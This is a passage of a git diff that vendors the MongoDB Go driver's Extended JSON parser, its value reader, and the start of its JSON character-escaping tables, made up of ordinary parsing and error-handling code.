+ } else { + return nil, invalidRequestError(t.String()) + } + case bsontype.EmbeddedDocument, bsontype.Array: + return nil, invalidRequestError(t.String()) + } + + return v, nil +} + +// readObject is a utility method for reading full objects of known (or expected) size +// it is useful for extended JSON types such as binary, datetime, regex, and timestamp +func (ejp *extJSONParser) readObject(numKeys int, started bool) ([]string, []*extJSONValue, error) { + keys := make([]string, numKeys) + vals := make([]*extJSONValue, numKeys) + + if !started { + ejp.advanceState() + if ejp.s != jpsSawBeginObject { + return nil, nil, invalidJSONError("{") + } + } + + for i := 0; i < numKeys; i++ { + key, t, err := ejp.readKey() + if err != nil { + return nil, nil, err + } + + switch ejp.s { + case jpsSawKey: + v, err := ejp.readValue(t) + if err != nil { + return nil, nil, err + } + + keys[i] = key + vals[i] = v + case jpsSawValue: + keys[i] = key + vals[i] = ejp.v + default: + return nil, nil, invalidJSONError("value") + } + } + + ejp.advanceState() + if ejp.s != jpsSawEndObject { + return nil, nil, invalidJSONError("}") + } + + return keys, vals, nil +} + +// advanceState reads the next JSON token from the scanner and transitions +// from the current state based on that token's type +func (ejp *extJSONParser) advanceState() { + if ejp.s == jpsDoneState || ejp.s == jpsInvalidState { + return + } + + jt, err := ejp.js.nextToken() + + if err != nil { + ejp.err = err + ejp.s = jpsInvalidState + return + } + + valid := ejp.validateToken(jt.t) + if !valid { + ejp.err = unexpectedTokenError(jt) + ejp.s = jpsInvalidState + return + } + + switch jt.t { + case jttBeginObject: + ejp.s = jpsSawBeginObject + ejp.pushMode(jpmObjectMode) + ejp.depth++ + + if ejp.depth > ejp.maxDepth { + ejp.err = nestingDepthError(jt.p, ejp.depth) + ejp.s = jpsInvalidState + } + case jttEndObject: + ejp.s = jpsSawEndObject + ejp.depth-- + + if ejp.popMode() != jpmObjectMode { + ejp.err = unexpectedTokenError(jt) + ejp.s = jpsInvalidState + } + case jttBeginArray: + ejp.s = jpsSawBeginArray + ejp.pushMode(jpmArrayMode) + case jttEndArray: + ejp.s = jpsSawEndArray + + if ejp.popMode() != jpmArrayMode { + ejp.err = unexpectedTokenError(jt) + ejp.s = jpsInvalidState + } + case jttColon: + ejp.s = jpsSawColon + case jttComma: + ejp.s = jpsSawComma + case jttEOF: + ejp.s = jpsDoneState + if len(ejp.m) != 0 { + ejp.err = unexpectedTokenError(jt) + ejp.s = jpsInvalidState + } + case jttString: + switch ejp.s { + case jpsSawComma: + if ejp.peekMode() == jpmArrayMode { + ejp.s = jpsSawValue + ejp.v = extendJSONToken(jt) + return + } + fallthrough + case jpsSawBeginObject: + ejp.s = jpsSawKey + ejp.k = jt.v.(string) + return + } + fallthrough + default: + ejp.s = jpsSawValue + ejp.v = extendJSONToken(jt) + } +} + +var jpsValidTransitionTokens = map[jsonParseState]map[jsonTokenType]bool{ + jpsStartState: { + jttBeginObject: true, + jttBeginArray: true, + jttInt32: true, + jttInt64: true, + jttDouble: true, + jttString: true, + jttBool: true, + jttNull: true, + jttEOF: true, + }, + jpsSawBeginObject: { + jttEndObject: true, + jttString: true, + }, + jpsSawEndObject: { + jttEndObject: true, + jttEndArray: true, + jttComma: true, + jttEOF: true, + }, + jpsSawBeginArray: { + jttBeginObject: true, + jttBeginArray: true, + jttEndArray: true, + jttInt32: true, + jttInt64: true, + jttDouble: true, + jttString: true, + jttBool: true, + jttNull: true, + }, + jpsSawEndArray: { + jttEndObject: true, + jttEndArray: true, + jttComma: true, + jttEOF: true, + }, + jpsSawColon: { + jttBeginObject: true, + jttBeginArray: true, + jttInt32: true, + jttInt64: true, + jttDouble: true, + jttString: true, + jttBool: true, + jttNull: true, + }, + jpsSawComma: { + jttBeginObject: true, + jttBeginArray: true, + jttInt32: true, + jttInt64: true, + jttDouble: true, + jttString: true, + jttBool: true, + jttNull: true, + }, + jpsSawKey: { + jttColon: true, + }, + jpsSawValue: { + jttEndObject: true, + jttEndArray: true, + jttComma: true, + jttEOF: true, + }, + jpsDoneState: {}, + jpsInvalidState: {}, +} + +func (ejp *extJSONParser) validateToken(jtt jsonTokenType) bool { + switch ejp.s { + case jpsSawEndObject: + // if we are at depth zero and the next token is a '{', + // we can consider it valid only if we are not in array mode. + if jtt == jttBeginObject && ejp.depth == 0 { + return ejp.peekMode() != jpmArrayMode + } + case jpsSawComma: + switch ejp.peekMode() { + // the only valid next token after a comma inside a document is a string (a key) + case jpmObjectMode: + return jtt == jttString + case jpmInvalidMode: + return false + } + } + + _, ok := jpsValidTransitionTokens[ejp.s][jtt] + return ok +} + +// ensureExtValueType returns true if the current value has the expected +// value type for single-key extended JSON types. For example, +// {"$numberInt": v} v must be TypeString +func (ejp *extJSONParser) ensureExtValueType(t bsontype.Type) bool { + switch t { + case bsontype.MinKey, bsontype.MaxKey: + return ejp.v.t == bsontype.Int32 + case bsontype.Undefined: + return ejp.v.t == bsontype.Boolean + case bsontype.Int32, bsontype.Int64, bsontype.Double, bsontype.Decimal128, bsontype.Symbol, bsontype.ObjectID: + return ejp.v.t == bsontype.String + default: + return false + } +} + +func (ejp *extJSONParser) pushMode(m jsonParseMode) { + ejp.m = append(ejp.m, m) +} + +func (ejp *extJSONParser) popMode() jsonParseMode { + l := len(ejp.m) + if l == 0 { + return jpmInvalidMode + } + + m := ejp.m[l-1] + ejp.m = ejp.m[:l-1] + + return m +} + +func (ejp *extJSONParser) peekMode() jsonParseMode { + l := len(ejp.m) + if l == 0 { + return jpmInvalidMode + } + + return ejp.m[l-1] +} + +func extendJSONToken(jt *jsonToken) *extJSONValue { + var t bsontype.Type + + switch jt.t { + case jttInt32: + t = bsontype.Int32 + case jttInt64: + t = bsontype.Int64 + case jttDouble: + t = bsontype.Double + case jttString: + t = bsontype.String + case jttBool: + t = bsontype.Boolean + case jttNull: + t = bsontype.Null + default: + return nil + } + + return &extJSONValue{t: t, v: jt.v} +} + +func ensureColon(s jsonParseState, key string) error { + if s != jpsSawColon { + return fmt.Errorf("invalid JSON input: missing colon after key \"%s\"", key) + } + + return nil +} + +func invalidRequestError(s string) error { + return fmt.Errorf("invalid request to read %s", s) +} + +func invalidJSONError(expected string) error { + return fmt.Errorf("invalid JSON input; expected %s", expected) +} + +func invalidJSONErrorForType(expected string, t bsontype.Type) error { + return fmt.Errorf("invalid JSON input; expected %s for %s", expected, t) +} + +func unexpectedTokenError(jt *jsonToken) error { + switch jt.t { + case jttInt32, jttInt64, jttDouble: + return fmt.Errorf("invalid JSON input; unexpected number (%v) at position %d", jt.v, jt.p) + case jttString: + return fmt.Errorf("invalid JSON input; unexpected string (\"%v\") at position %d", jt.v, jt.p) + case jttBool: + return fmt.Errorf("invalid JSON input; unexpected boolean literal (%v) at position %d", jt.v, jt.p) + case jttNull: + return fmt.Errorf("invalid JSON input; unexpected null literal at position %d", jt.p) + case jttEOF: + return fmt.Errorf("invalid JSON input; unexpected end of input at position %d", jt.p) + default: + return fmt.Errorf("invalid JSON input; unexpected %c at position %d", jt.v.(byte), jt.p) + } +} + +func nestingDepthError(p, depth int) error { + return fmt.Errorf("invalid JSON input; nesting too deep (%d levels) at position %d", depth, p) +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsonrw/extjson_reader.go b/vendor/go.mongodb.org/mongo-driver/bson/bsonrw/extjson_reader.go new file mode 100644 index 00000000..59ddfc44 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsonrw/extjson_reader.go @@ -0,0 +1,653 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsonrw + +import ( + "errors" + "fmt" + "io" + "sync" + + "go.mongodb.org/mongo-driver/bson/bsontype" + "go.mongodb.org/mongo-driver/bson/primitive" +) + +// ExtJSONValueReaderPool is a pool for ValueReaders that read ExtJSON. +// +// Deprecated: ExtJSONValueReaderPool will not be supported in Go Driver 2.0. +type ExtJSONValueReaderPool struct { + pool sync.Pool +} + +// NewExtJSONValueReaderPool instantiates a new ExtJSONValueReaderPool. +// +// Deprecated: ExtJSONValueReaderPool will not be supported in Go Driver 2.0. +func NewExtJSONValueReaderPool() *ExtJSONValueReaderPool { + return &ExtJSONValueReaderPool{ + pool: sync.Pool{ + New: func() interface{} { + return new(extJSONValueReader) + }, + }, + } +} + +// Get retrieves a ValueReader from the pool and uses src as the underlying ExtJSON. +// +// Deprecated: ExtJSONValueReaderPool will not be supported in Go Driver 2.0. +func (bvrp *ExtJSONValueReaderPool) Get(r io.Reader, canonical bool) (ValueReader, error) { + vr := bvrp.pool.Get().(*extJSONValueReader) + return vr.reset(r, canonical) +} + +// Put inserts a ValueReader into the pool. If the ValueReader is not a ExtJSON ValueReader nothing +// is inserted into the pool and ok will be false. +// +// Deprecated: ExtJSONValueReaderPool will not be supported in Go Driver 2.0. +func (bvrp *ExtJSONValueReaderPool) Put(vr ValueReader) (ok bool) { + bvr, ok := vr.(*extJSONValueReader) + if !ok { + return false + } + + bvr, _ = bvr.reset(nil, false) + bvrp.pool.Put(bvr) + return true +} + +type ejvrState struct { + mode mode + vType bsontype.Type + depth int +} + +// extJSONValueReader is for reading extended JSON. +type extJSONValueReader struct { + p *extJSONParser + + stack []ejvrState + frame int +} + +// NewExtJSONValueReader creates a new ValueReader from a given io.Reader +// It will interpret the JSON of r as canonical or relaxed according to the +// given canonical flag +func NewExtJSONValueReader(r io.Reader, canonical bool) (ValueReader, error) { + return newExtJSONValueReader(r, canonical) +} + +func newExtJSONValueReader(r io.Reader, canonical bool) (*extJSONValueReader, error) { + ejvr := new(extJSONValueReader) + return ejvr.reset(r, canonical) +} + +func (ejvr *extJSONValueReader) reset(r io.Reader, canonical bool) (*extJSONValueReader, error) { + p := newExtJSONParser(r, canonical) + typ, err := p.peekType() + + if err != nil { + return nil, ErrInvalidJSON + } + + var m mode + switch typ { + case bsontype.EmbeddedDocument: + m = mTopLevel + case bsontype.Array: + m = mArray + default: + m = mValue + } + + stack := make([]ejvrState, 1, 5) + stack[0] = ejvrState{ + mode: m, + vType: typ, + } + return &extJSONValueReader{ + p: p, + stack: stack, + }, nil +} + +func (ejvr *extJSONValueReader) advanceFrame() { + if ejvr.frame+1 >= len(ejvr.stack) { // We need to grow the stack + length := len(ejvr.stack) + if length+1 >= cap(ejvr.stack) { + // double it + buf := make([]ejvrState, 2*cap(ejvr.stack)+1) + copy(buf, ejvr.stack) + ejvr.stack = buf + } + ejvr.stack = ejvr.stack[:length+1] + } + ejvr.frame++ + + // Clean the stack + ejvr.stack[ejvr.frame].mode = 0 + ejvr.stack[ejvr.frame].vType = 0 + ejvr.stack[ejvr.frame].depth = 0 +} + +func (ejvr *extJSONValueReader) pushDocument() { + ejvr.advanceFrame() + + ejvr.stack[ejvr.frame].mode = mDocument + ejvr.stack[ejvr.frame].depth = ejvr.p.depth +} + +func (ejvr *extJSONValueReader) pushCodeWithScope() { + ejvr.advanceFrame() + + ejvr.stack[ejvr.frame].mode = mCodeWithScope +} + +func (ejvr *extJSONValueReader) pushArray() { + ejvr.advanceFrame() + + ejvr.stack[ejvr.frame].mode = mArray +} + +func (ejvr *extJSONValueReader) push(m mode, t bsontype.Type) { + ejvr.advanceFrame() + + ejvr.stack[ejvr.frame].mode = m + ejvr.stack[ejvr.frame].vType = t +} + +func (ejvr *extJSONValueReader) pop() { + switch ejvr.stack[ejvr.frame].mode { + case mElement, mValue: + ejvr.frame-- + case mDocument, mArray, mCodeWithScope: + ejvr.frame -= 2 // we pop twice to jump over the vrElement: vrDocument -> vrElement -> vrDocument/TopLevel/etc... + } +} + +func (ejvr *extJSONValueReader) skipObject() { + // read entire object until depth returns to 0 (last ending } or ] seen) + depth := 1 + for depth > 0 { + ejvr.p.advanceState() + + // If object is empty, raise depth and continue. When emptyObject is true, the + // parser has already read both the opening and closing brackets of an empty + // object ("{}"), so the next valid token will be part of the parent document, + // not part of the nested document. + // + // If there is a comma, there are remaining fields, emptyObject must be set back + // to false, and comma must be skipped with advanceState(). + if ejvr.p.emptyObject { + if ejvr.p.s == jpsSawComma { + ejvr.p.emptyObject = false + ejvr.p.advanceState() + } + depth-- + continue + } + + switch ejvr.p.s { + case jpsSawBeginObject, jpsSawBeginArray: + depth++ + case jpsSawEndObject, jpsSawEndArray: + depth-- + } + } +} + +func (ejvr *extJSONValueReader) invalidTransitionErr(destination mode, name string, modes []mode) error { + te := TransitionError{ + name: name, + current: ejvr.stack[ejvr.frame].mode, + destination: destination, + modes: modes, + action: "read", + } + if ejvr.frame != 0 { + te.parent = ejvr.stack[ejvr.frame-1].mode + } + return te +} + +func (ejvr *extJSONValueReader) typeError(t bsontype.Type) error { + return fmt.Errorf("positioned on %s, but attempted to read %s", ejvr.stack[ejvr.frame].vType, t) +} + +func (ejvr *extJSONValueReader) ensureElementValue(t bsontype.Type, destination mode, callerName string, addModes ...mode) error { + switch ejvr.stack[ejvr.frame].mode { + case mElement, mValue: + if ejvr.stack[ejvr.frame].vType != t { + return ejvr.typeError(t) + } + default: + modes := []mode{mElement, mValue} + if addModes != nil { + modes = append(modes, addModes...) + } + return ejvr.invalidTransitionErr(destination, callerName, modes) + } + + return nil +} + +func (ejvr *extJSONValueReader) Type() bsontype.Type { + return ejvr.stack[ejvr.frame].vType +} + +func (ejvr *extJSONValueReader) Skip() error { + switch ejvr.stack[ejvr.frame].mode { + case mElement, mValue: + default: + return ejvr.invalidTransitionErr(0, "Skip", []mode{mElement, mValue}) + } + + defer ejvr.pop() + + t := ejvr.stack[ejvr.frame].vType + switch t { + case bsontype.Array, bsontype.EmbeddedDocument, bsontype.CodeWithScope: + // read entire array, doc or CodeWithScope + ejvr.skipObject() + default: + _, err := ejvr.p.readValue(t) + if err != nil { + return err + } + } + + return nil +} + +func (ejvr *extJSONValueReader) ReadArray() (ArrayReader, error) { + switch ejvr.stack[ejvr.frame].mode { + case mTopLevel: // allow reading array from top level + case mArray: + return ejvr, nil + default: + if err := ejvr.ensureElementValue(bsontype.Array, mArray, "ReadArray", mTopLevel, mArray); err != nil { + return nil, err + } + } + + ejvr.pushArray() + + return ejvr, nil +} + +func (ejvr *extJSONValueReader) ReadBinary() (b []byte, btype byte, err error) { + if err := ejvr.ensureElementValue(bsontype.Binary, 0, "ReadBinary"); err != nil { + return nil, 0, err + } + + v, err := ejvr.p.readValue(bsontype.Binary) + if err != nil { + return nil, 0, err + } + + b, btype, err = v.parseBinary() + + ejvr.pop() + return b, btype, err +} + +func (ejvr *extJSONValueReader) ReadBoolean() (bool, error) { + if err := ejvr.ensureElementValue(bsontype.Boolean, 0, "ReadBoolean"); err != nil { + return false, err + } + + v, err := ejvr.p.readValue(bsontype.Boolean) + if err != nil { + return false, err + } + + if v.t != bsontype.Boolean { + return false, fmt.Errorf("expected type bool, but got type %s", v.t) + } + + ejvr.pop() + return v.v.(bool), nil +} + +func (ejvr *extJSONValueReader) ReadDocument() (DocumentReader, error) { + switch ejvr.stack[ejvr.frame].mode { + case mTopLevel: + return ejvr, nil + case mElement, mValue: + if ejvr.stack[ejvr.frame].vType != bsontype.EmbeddedDocument { + return nil, ejvr.typeError(bsontype.EmbeddedDocument) + } + + ejvr.pushDocument() + return ejvr, nil + default: + return nil, ejvr.invalidTransitionErr(mDocument, "ReadDocument", []mode{mTopLevel, mElement, mValue}) + } +} + +func (ejvr *extJSONValueReader) ReadCodeWithScope() (code string, dr DocumentReader, err error) { + if err = ejvr.ensureElementValue(bsontype.CodeWithScope, 0, "ReadCodeWithScope"); err != nil { + return "", nil, err + } + + v, err := ejvr.p.readValue(bsontype.CodeWithScope) + if err != nil { + return "", nil, err + } + + code, err = v.parseJavascript() + + ejvr.pushCodeWithScope() + return code, ejvr, err +} + +func (ejvr *extJSONValueReader) ReadDBPointer() (ns string, oid primitive.ObjectID, err error) { + if err = ejvr.ensureElementValue(bsontype.DBPointer, 0, "ReadDBPointer"); err != nil { + return "", primitive.NilObjectID, err + } + + v, err := ejvr.p.readValue(bsontype.DBPointer) + if err != nil { + return "", primitive.NilObjectID, err + } + + ns, oid, err = v.parseDBPointer() + + ejvr.pop() + return ns, oid, err +} + +func (ejvr *extJSONValueReader) ReadDateTime() (int64, error) { + if err := ejvr.ensureElementValue(bsontype.DateTime, 0, "ReadDateTime"); err != nil { + return 0, err + } + + v, err := ejvr.p.readValue(bsontype.DateTime) + if err != nil { + return 0, err + } + + d, err := v.parseDateTime() + + ejvr.pop() + return d, err +} + +func (ejvr *extJSONValueReader) ReadDecimal128() (primitive.Decimal128, error) { + if err := ejvr.ensureElementValue(bsontype.Decimal128, 0, "ReadDecimal128"); err != nil { + return primitive.Decimal128{}, err + } + + v, err := ejvr.p.readValue(bsontype.Decimal128) + if err != nil { + return primitive.Decimal128{}, err + } + + d, err := v.parseDecimal128() + + ejvr.pop() + return d, err +} + +func (ejvr *extJSONValueReader) ReadDouble() (float64, error) { + if err := ejvr.ensureElementValue(bsontype.Double, 0, "ReadDouble"); err != nil { + return 0, err + } + + v, err := ejvr.p.readValue(bsontype.Double) + if err != nil { + return 0, err + } + + d, err := v.parseDouble() + + ejvr.pop() + return d, err +} + +func (ejvr *extJSONValueReader) ReadInt32() (int32, error) { + if err := ejvr.ensureElementValue(bsontype.Int32, 0, "ReadInt32"); err != nil { + return 0, err + } + + v, err := ejvr.p.readValue(bsontype.Int32) + if err != nil { + return 0, err + } + + i, err := v.parseInt32() + + ejvr.pop() + return i, err +} + +func (ejvr *extJSONValueReader) ReadInt64() (int64, error) { + if err := ejvr.ensureElementValue(bsontype.Int64, 0, "ReadInt64"); err != nil { + return 0, err + } + + v, err := ejvr.p.readValue(bsontype.Int64) + if err != nil { + return 0, err + } + + i, err := v.parseInt64() + + ejvr.pop() + return i, err +} + +func (ejvr *extJSONValueReader) ReadJavascript() (code string, err error) { + if err = ejvr.ensureElementValue(bsontype.JavaScript, 0, "ReadJavascript"); err != nil { + return "", err + } + + v, err := ejvr.p.readValue(bsontype.JavaScript) + if err != nil { + return "", err + } + + code, err = v.parseJavascript() + + ejvr.pop() + return code, err +} + +func (ejvr *extJSONValueReader) ReadMaxKey() error { + if err := ejvr.ensureElementValue(bsontype.MaxKey, 0, "ReadMaxKey"); err != nil { + return err + } + + v, err := ejvr.p.readValue(bsontype.MaxKey) + if err != nil { + return err + } + + err = v.parseMinMaxKey("max") + + ejvr.pop() + return err +} + +func (ejvr *extJSONValueReader) ReadMinKey() error { + if err := ejvr.ensureElementValue(bsontype.MinKey, 0, "ReadMinKey"); err != nil { + return err + } + + v, err := ejvr.p.readValue(bsontype.MinKey) + if err != nil { + return err + } + + err = v.parseMinMaxKey("min") + + ejvr.pop() + return err +} + +func (ejvr *extJSONValueReader) ReadNull() error { + if err := ejvr.ensureElementValue(bsontype.Null, 0, "ReadNull"); err != nil { + return err + } + + v, err := ejvr.p.readValue(bsontype.Null) + if err != nil { + return err + } + + if v.t != bsontype.Null { + return fmt.Errorf("expected type null but got type %s", v.t) + } + + ejvr.pop() + return nil +} + +func (ejvr *extJSONValueReader) ReadObjectID() (primitive.ObjectID, error) { + if err := ejvr.ensureElementValue(bsontype.ObjectID, 0, "ReadObjectID"); err != nil { + return primitive.ObjectID{}, err + } + + v, err := ejvr.p.readValue(bsontype.ObjectID) + if err != nil { + return primitive.ObjectID{}, err + } + + oid, err := v.parseObjectID() + + ejvr.pop() + return oid, err +} + +func (ejvr *extJSONValueReader) ReadRegex() (pattern string, options string, err error) { + if err = ejvr.ensureElementValue(bsontype.Regex, 0, "ReadRegex"); err != nil { + return "", "", err + } + + v, err := ejvr.p.readValue(bsontype.Regex) + if err != nil { + return "", "", err + } + + pattern, options, err = v.parseRegex() + + ejvr.pop() + return pattern, options, err +} + +func (ejvr *extJSONValueReader) ReadString() (string, error) { + if err := ejvr.ensureElementValue(bsontype.String, 0, "ReadString"); err != nil { + return "", err + } + + v, err := ejvr.p.readValue(bsontype.String) + if err != nil { + return "", err + } + + if v.t != bsontype.String { + return "", fmt.Errorf("expected type string but got type %s", v.t) + } + + ejvr.pop() + return v.v.(string), nil +} + +func (ejvr *extJSONValueReader) ReadSymbol() (symbol string, err error) { + if err = ejvr.ensureElementValue(bsontype.Symbol, 0, "ReadSymbol"); err != nil { + return "", err + } + + v, err := ejvr.p.readValue(bsontype.Symbol) + if err != nil { + return "", err + } + + symbol, err = v.parseSymbol() + + ejvr.pop() + return symbol, err +} + +func (ejvr *extJSONValueReader) ReadTimestamp() (t uint32, i uint32, err error) { + if err = ejvr.ensureElementValue(bsontype.Timestamp, 0, "ReadTimestamp"); err != nil { + return 0, 0, err + } + + v, err := ejvr.p.readValue(bsontype.Timestamp) + if err != nil { + return 0, 0, err + } + + t, i, err = v.parseTimestamp() + + ejvr.pop() + return t, i, err +} + +func (ejvr *extJSONValueReader) ReadUndefined() error { + if err := ejvr.ensureElementValue(bsontype.Undefined, 0, "ReadUndefined"); err != nil { + return err + } + + v, err := ejvr.p.readValue(bsontype.Undefined) + if err != nil { + return err + } + + err = v.parseUndefined() + + ejvr.pop() + return err +} + +func (ejvr *extJSONValueReader) ReadElement() (string, ValueReader, error) { + switch ejvr.stack[ejvr.frame].mode { + case mTopLevel, mDocument, mCodeWithScope: + default: + return "", nil, ejvr.invalidTransitionErr(mElement, "ReadElement", []mode{mTopLevel, mDocument, mCodeWithScope}) + } + + name, t, err := ejvr.p.readKey() + + if err != nil { + if errors.Is(err, ErrEOD) { + if ejvr.stack[ejvr.frame].mode == mCodeWithScope { + _, err := ejvr.p.peekType() + if err != nil { + return "", nil, err + } + } + + ejvr.pop() + } + + return "", nil, err + } + + ejvr.push(mElement, t) + return name, ejvr, nil +} + +func (ejvr *extJSONValueReader) ReadValue() (ValueReader, error) { + switch ejvr.stack[ejvr.frame].mode { + case mArray: + default: + return nil, ejvr.invalidTransitionErr(mValue, "ReadValue", []mode{mArray}) + } + + t, err := ejvr.p.peekType() + if err != nil { + if errors.Is(err, ErrEOA) { + ejvr.pop() + } + + return nil, err + } + + ejvr.push(mValue, t) + return ejvr, nil +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsonrw/extjson_tables.go b/vendor/go.mongodb.org/mongo-driver/bson/bsonrw/extjson_tables.go new file mode 100644 index 00000000..ba39c960 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsonrw/extjson_tables.go @@ -0,0 +1,223 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 +// +// Based on github.com/golang/go by The Go Authors +// See THIRD-PARTY-NOTICES for original license terms. + +package bsonrw + +import "unicode/utf8" + +// safeSet holds the value true if the ASCII character with the given array +// position can be represented inside a JSON string without any further +// escaping. +// +// All values are true except for the ASCII control characters (0-31), the +// double quote ("), and the backslash character ("\"). +var safeSet = [utf8.RuneSelf]bool{ + ' ': true, + '!': true, + '"': false, + '#': true, + '$': true, + '%': true, + '&': true, + '\'': true, + '(': true, + ')': true, + '*': true, + '+': true, + ',': true, + '-': true, + '.': true, + '/': true, + '0': true, + '1': true, + '2': true, + '3': true, + '4': true, + '5': true, + '6': true, + '7': true, + '8': true, + '9': true, + ':': true, + ';': true, + '<': true, + '=': true, + '>': true, + '?': true, + '@': true, + 'A': true, + 'B': true, + 'C': true, + 'D': true, + 'E': true, + 'F': true, + 'G': true, + 'H': true, + 'I': true, + 'J': true, + 'K': true, + 'L': true, + 'M': true, + 'N': true, + 'O': true, + 'P': true, + 'Q': true, + 'R': true, + 'S': true, + 'T': true, + 'U': true, + 'V': true, + 'W': true, + 'X': true, + 'Y': true, + 'Z': true, + '[': true, + '\\': false, + ']': true, + '^': true, + '_': true, + '`': true, + 'a': true, + 'b': true, + 'c': true, + 'd': true, + 'e': true, + 'f': true, + 'g': true, + 'h': true, + 'i': true, + 'j': true, + 'k': true, + 'l': true, + 'm': true, + 'n': true, + 'o': true, + 'p': true, + 'q': true, + 'r': true, + 's': true, + 't': true, + 'u': true, + 'v': true, + 'w': true, + 'x': true, + 'y': true, + 'z': true, + '{': true, + '|': true, + '}': true, + '~': true, + '\u007f': true, +} + +// htmlSafeSet holds the value true if the ASCII character with the given +// array position can be safely represented inside a JSON string, embedded +// inside of HTML